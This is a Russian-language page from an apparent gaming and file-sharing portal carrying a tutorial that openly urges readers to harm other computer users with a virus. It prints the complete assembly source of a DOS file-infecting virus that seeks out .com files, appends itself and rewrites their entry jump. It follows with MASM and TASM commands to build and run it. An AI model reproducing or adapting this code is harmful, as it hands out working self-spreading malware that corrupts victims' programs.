Логин:
Пароль:
EnterGame - Игровой портал. На сайте присутствуют игры различных жанров, и другие файлы тематик, таких как: uCoz, DLE, Adobe product, Soft, Films, и Другое.
Мы рады видеть Вас на нашем ресурсе.

Добро пожаловать к нам на сайт


На сайте строго запрещены внешние ссылки рекламного характера. Так же запрещён флуд в любом проявлении, спам и мат. Правила простые, если не хотите быть забаненным примите их и не нарушайте. Более подробно с правилами Вы можете ознакомиться перейдя на форум


Меню сайта
Меню сайта
Мини-чат
200
Любой человек, конечно, не каждый, знающий слово программирование, как включать и выключать комп (компьютер) и ещё кое-что, хочет сделать какую-нибудь гадость человеку сидящему за компоп, ну естественно на программном уровне. Если и ты хочешь
это сделать, то читай дальше, иначе… отбрось, удали и разорви (если ты читаешь с бумаги).
Итак, если ты продолжаешь читать, то я задам тебе следующий вопрос: Какую гадость ты собираешься сделать ? Это зависит исключительно от тебя.
Как известно вирусы бывают разные – резидентные и нерезидентные.
Скажу только, что резидентными называются вирусы, которые после своего завершения остаются в памяти и активизируются при наступлении каких - либо событий в вычислительной системе. Такими событиями могут быть, например, нажатие " горячей " комбинации клавиш, выполнение некоторых операций с дисками и т. п. Но в любом случае программа получает управление при тех или иных условиях.
Наверняка тебе сразу захотелось написать этого зверя. Увы чтоб написать такой вирус потребуется как минимум 10-20 страниц кода. Забегу в перёд и скажу, что мы будем писать нерезидентный вирус.
Как ты думаешь на каком языке мы будем писать вирус? Никакая Делфия нас сейчас не спасёт, потому что только одна заготовка будет весить примерно от 100 до 300 килограмм (килобайт). А для вируса – то надо всего пару килограмм.
И придёт к нам тогда великий и могучий ASSEMBLER. Вот на нём та мы и будим писать вирусяку.
Для тех кто не знает слово Assembler кратко расскажу, что в нём команды представлены символическими инструкциями, а так же самый маленький вес и самая большая скорость прогы написанной на нём вам обеспеченны и вообще учите этот язык он вам везде пригодится и в программирований и в кракерстве.
Для написания тебе понадобится DOS'овская версия Assembler'а, его могут звать так: MASM либо TASM. Они могу весить примерно 7-8 метров (мегабайт).
Начнём: создай в папке, куда был установлен Assembler, текстовой файл с расширением ASM, например Prog.asm. Потом закинь туда текст с кодом вируса. Перезагрузись в DOS
ассемблируй. Как ассемблировать и прочее, рассказывается ниже. Далее приведен исходняк вирусяки.

prg segment

assume cs:prg,ds:prg,es:prg,ss:prg

org 100h

start: jmp vir ;Передача управ-
;ления вирусному
;коду ...

org 110h

vir: push ds ;Сохраним DS ...
;Корректируем

mov ax,ds ;регистр DS ...

db 05h ;Код команды

add_to_ds: dw 0 ; " ADD AX,00h "

mov ds,ax ;AX -> DS ...

fresh_bytes:

mov al,old_bytes

mov cs:[100h],al

mov al,old_bytes+1

mov cs:[101h],al

mov al,old_bytes+2

mov cs:[102h],al

mov cx,80h ;Размер DTA -

;128 байт ...
mov bx,80h ;Смещение к DTA

lea si,old_dta ;Адрес массива

save_dta:

mov al,byte ptr cs:[bx];Читаем из DTA

;байт и перено-
mov ds:[si],al ;сим его в мас-

;сив ...
inc bx ;К новому байту

inc si ;

loop save_dta ;Цикл 128 раз

find_first:

mov ah,4eh ;Поиск первого

;файла ...
mov cx,00100110b ;archive, system

;hidden
lea dx,maska ;Маска для поис-

;ка
int 21h

jnc r_3 ;Нашли !

jmp restore_dta ;Ошибка !

find_next: mov ah,3eh ;Закроем непод-

int 21h ;ходящий файл...

jnc r_2

jmp restore_dta ;Файл нельзя за-

;крыть !

r_2: mov ah,4fh ;И найдем сле-

int 21h ;дующий ...

jnc r_3 ;Файл найден !

jmp restore_dta ;Ошибка !

r_3: mov cx,12 ;Сотрем в буфере

lea si,fn ;"fn" имя пред-

destroy_name: ;ыдущего файла

mov byte ptr [si],0 ;

inc si ;

loop destroy_name ;Цикл 12 раз ...

xor si,si ;И запишем в бу-

copy_name: mov al,byte ptr cs:[si+9eh]

;фер имя только

cmp al,0 ;что найденного

;файла ...

je open ;В конце имени в

mov byte ptr ds:fn[si],al

;DTA всегда сто-

inc si ;ит ноль, его мы

jmp copy_name ;и хотим достичь

open: mov ax,3d02h ;Открыть файл

;для чтения и

;записи ...

lea dx,fn ;Имя файла ...

int 21h ;Функция DOS

jnc save_bytes

jmp restore_dta ;Файл не откры-

;вается !

save_bytes: ;Считаем три

;байта :

mov bx,ax ;Сохраним дес-

;криптор в BX

mov ah,3fh ;Номер функции

mov cx,3 ;Сколько байт ?

lea dx,old_bytes ;Буфер для счи-

;тываемых данных

int 21h

jnc found_size

jmp close ;Ошибка !

found_size:

mov ax,cs:[09ah] ;Найдем размер

;файла

count_size:mov si,ax

cmp ax,64000 ;Файл длиннее

;64000 байт ?

jna toto ;Нет ...

jmp find_next ;Да - тогда он

;нам не подходит

toto: test ax,000fh ;Округлим размер

jz krat_16 ;до целого числа

or ax,000fh ;параграфов в

inc ax ;большую сторону

krat_16: mov di,ax ;И запишем ок-

;ругленное зна-

;чение в DI ...

;Расчитаем сме-

;щение для пере-

;хода на код ви-

;руса ...

sub ax,3 ;Сама команда

;перехода зани-

;мает три байта!

mov byte ptr new_bytes[1],al

;Смещение найде-

mov byte ptr new_bytes[2],ah

;но !

mov ax,di ;Сколько пара-

mov cl,4 ;графов содержит

shr ax,cl ;заражаемая про-

;грамма ?

dec ax ;Учитываем дейс-

;твие директивы

;ORG 110h ...

mov byte ptr add_to_ds,al

;Корректирующее

mov byte ptr add_to_ds+1,ah

;число найдено !

mov ax,4200h ;Установим ука-

xor cx,cx ;затель на пос-

dec si ;ледний байт

mov dx,si ;файла ...

int 21h

jnc read_last

jmp close ;Ошибка !

read_last: ;И считаем этот

mov ah,3fh ;байт в ячейку

mov cx,1 ; " last " ...

lea dx,last

int 21h

jc close ;Ошибка !

cmp last,'7' ;" last " =" 7 "

jne write_vir ;Нет - дальше

jmp find_next ;Да- поищем дру-

;гой файл ...

write_vir: mov ax,4200h ;Установим ука-

xor cx,cx ;затель на конец

mov dx,di ;файла ...

int 21h

jc close ;При ошибке -

;закроем файл

mov ah,40h ;Запишем в файл

mov cx,vir_len ;код вируса дли-

lea dx,vir ;ной vir_len

int 21h

jc close ;При ошибке -

;закроем файл

write_bytes:

mov ax,4200h ;Установим ука-

xor cx,cx ;затель на нача-

xor dx,dx ;ло файла

int 21h

jc close ;При ошибке -

;закроем файл

mov ah,40h ;Запишем в файл

mov cx,3 ;первые три бай-

lea dx,new_bytes ;та ( команду

int 21h ;перехода ) ...

close: mov ah,3eh ;Закроем зара-

int 21h ;женный файл ...

restore_dta:

mov cx,80h ;Размер DTA -

;128 байт ...

mov bx,80h ;Смещение к DTA

lea si,old_dta ;Адрес массива

dta_fresh:

mov al,ds:[si] ;Читаем из мас-

;сива "old_dta"

mov byte ptr cs:[bx],al;байт и перено-

;сим его в DTA

inc bx ;К новому байту

inc si ;

loop dta_fresh ;Цикл 128 раз

pop ds ;Восстановим

;испорченный DS

push cs ;Занесем в стек

;регистр CS

db 0b8h ;Код команды

jump: dw 100h ;mov ax,100h

push ax ;Занесем в стек

;число 100h

retf ;Передача управ-

;ления на задан-

;ный адрес ...

;*Data area ...

old_bytes db 0e9h ;Исходные три

;байта заражен-

dw vir_len + 0dh ;ной программы

old_dta db 128 dup (0) ;Здесь вирус

;хранит исходную

;DTA программы

maska db '*.com',0 ;Маска для поис-

;ка файлов ...

fn db 12 dup (' '),0 ;Сюда помещается

;имя файла -жер-

;твы ...

new_bytes db 0e9h ;Первые три бай-

db 00h ;та вируса в

db 00h ;файле ...

last db 0 ;Ячейка для пос-

;леднего байта

db '7' ;Последний байт

;вируса в файле

vir_len equ $-vir ;Длина вирусного

;кода ...

prg_end: mov ah,4ch ;Завершение за-

INT 21H ;пускающей прог-

;раммы ...

db '7' ;Без этого сим-

;вола вирус за-

;разил бы сам

;себя ...

prg ends ;Все ASM - прог-

end start ;раммы заканчи-

;ваются примерно

;так .

Примечания: данный вирус будет заражать файлы с расширением COM. Зараженная программа будет весить на 15-20 байт больше. Сам вирус весит 482 байта.

Как ассемблировать:
· Если ты используешь Macro Assembler версии 5.00 – 5.10 (MASM 5.00 – 5.10):

В командной строке необходимо указать следующее:
> MASM.EXE PROG.ASM /AT

В результате создается файл PROG.OBJ, который нужно скомпилировать при помощи компоновщика link.exe:
> LINK.EXE PROG.OBJ /t

Компоновщик создаст PROG.COM, который и запускаете на выполнение.

Если ты используешь Macro Assembler версии 6.11 – 6.13· (MASM 6.11 – 6.13):

В командной строке необходимо указать следующее:
> ML.EXE PROG.ASM /AT

В результате создается два файла: PROG.OBJ и PROG.COM. Prog.obj нам больше не понадобится, и его можно удалить, а prog.com запускаете на выполнение.
Если ты используешь Turbo Assembler· (TASM):

В командной строке необходимо указать следующее:
> TASM.EXE PROG.ASM

Если prog.asm не содержит ошибок, то в результате создается файл PROG.OBJ, который нужно скомпоновать при помощи компоновщика tlink.exe:
> TLINK.EXE PROG.OBJ /t /x.

Tlink.exe создаст файл prog.com, который и нужно запустить на выполнение.
Реклама
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Наш опрос
Оцените мой сайт
Всего ответов: 48
Онлайн лист
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реквизиты
R511219202404
Z383448932540
U988239352738